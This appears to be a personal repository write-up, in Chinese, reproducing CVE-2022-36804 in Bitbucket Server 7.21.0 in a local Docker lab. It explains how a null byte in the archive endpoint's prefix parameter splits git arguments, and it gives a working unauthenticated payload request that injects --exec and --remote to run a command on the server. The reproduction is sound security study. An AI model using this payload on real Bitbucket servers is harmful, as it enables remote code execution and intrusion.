
Investigating CVE-2022-36804
重现一个远程代码执行漏洞,其中 Bitbucket 未能对用户输入进行清理,从而使攻击者能够注入 Git 标志并远程执行代码。
本仓库记录了我如何复现漏洞 CVE-2022-36804,即 Bitbucket Server 中预认证参数注入的问题。目标是按照 Assetnote 的公开文章所述,演示底层安全问题。所有测试均在隔离的本地环境中进行。
CVE-2022-36804 是由于 Bitbucket 将用户输入直接传递给 git archive 子进程,而未对空字节进行清理所致。由于 Bitbucket 使用 NuProcess 来生成 git,空字节被保留并导致参数拆分。这使得攻击者可以向命令中注入额外的 git 标志。在受影响版本(例如本设置中使用的 7.21.0)中,此问题可在无需认证的情况下导致远程代码执行。
此预认证远程代码执行漏洞出现在 /archive 端点,该端点负责使用 git archive 功能生成仓库归档。Bitbucket 将 prefix 参数直接传递给 git 子进程,但未对空字节进行清理。由于 git 是用 C 语言实现的,空字节会提前终止字符串。因此空字节之后的所有内容都被解释为单独的命令行参数。这使得攻击者可以向命令中注入任意 git 标志。
之所以能够利用此漏洞,是因为 Bitbucket 使用了 NuProcess,它保留了空字节而不是将其剥离。因此 Git 收到的原始输入与用户提供的完全一致。由于 git 将空字节视为字符串终止符,当 prefix 值传递给 git 子进程时,会被拆分为多个参数。这允许在空字节之后偷偷加入额外的 git 标志。当与 --exec 和 --remote 等标志结合使用时,此参数注入在受影响版本的 Bitbucket Server 中会直接导致远程代码执行。
TEST/demo)启动环境:
docker compose up -d
验证版本:
cat /opt/atlassian/bitbucket/VERSION
此 CVE 的关键在于展示 prefix 参数中的空字节会导致 Bitbucket 向 git archive 传递多个参数。
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
让 pspy 保持运行。
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
此操作测试空字节是否导致参数拆分。
在 pspy 中,Bitbucket 生成:
/usr/bin/git archive --format=zip --prefix=test canary/ --
这里 test 和 canary 以独立参数形式出现,而非一个整体。%00 分割了输入,Bitbucket 被迫将它们作为独立参数传递给 git。
下图展示了在 Bitbucket Docker 容器内运行的 pspy 捕获到 /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666)。原本作为一个值发送的 test%00canary 被作为两个单独参数传递。空字节导致了输入拆分,从而悄悄向 git 命令中插入了一个额外参数。
通过空字节注入 --exec=touch /tmp/pwned 和 --remote=file:///...,服务器执行了一条任意命令。尽管 git 以错误码 128 退出,但在 git 报错之前命令已执行,/tmp/pwned 在容器内被创建。
载荷:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
下图展示了 pspy 捕获到的完整执行链——/usr/bin/git archive 以 --exec 和 --remote 参数运行(PID=74412),生成了 /bin/sh touch /tmp/pwned(PID=74413)

通过 docker exec -it bitbucket ls -la /tmp/pwned 可以验证文件是否已创建。
如下图所示。

Johan - 瑞典斯德哥尔摩